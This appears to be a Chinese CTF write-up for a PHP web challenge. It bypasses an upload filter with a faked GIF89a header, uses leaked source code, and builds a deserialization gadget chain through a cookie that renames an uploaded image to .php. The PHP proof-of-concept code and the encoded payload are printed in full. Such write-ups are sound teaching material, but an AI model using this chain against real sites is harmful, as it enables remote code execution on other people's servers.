注册登陆
上传文件
发现上传一次后没法上传第二次了。。。
重新注册个号,尝试上传php文件发现被拦截了,改成.jpg也被拦截了,猜测这里检测了文件头,想起之前伪造文件头,在文件开头添加GIF89A即可
虽然可以成功上传上去,但是没法执行
扫描目录发现源码泄漏,访问/www.tar.gz
Profile.php文件
这里限制了上传文件的后缀名
Cookie这里有个序列化
猜测是反序列化 ,覆盖掉filename即可实现文件名任意
__get() 用于从不可访问的属性读取数据
__call() 在对象上下文中调用不可访问的方法时触发
给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。
还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。
POC:
<?php
namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
得出
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC9lMDA4MGIxMTM1NTMxM2NiMjYwOTU3MzMyNDFkOTIwOS8wNDEyYzI5NTc2YzcwOGNmMDE1NWU4ZGUyNDIxNjliMS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkL2UwMDgwYjExMzU1MzEzY2IyNjA5NTczMzI0MWQ5MjA5LzA0MTJjMjk1NzZjNzA4Y2YwMTU1ZThkZTI0MjE2OWIxLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D
替换value
访问.php文件即可成功执行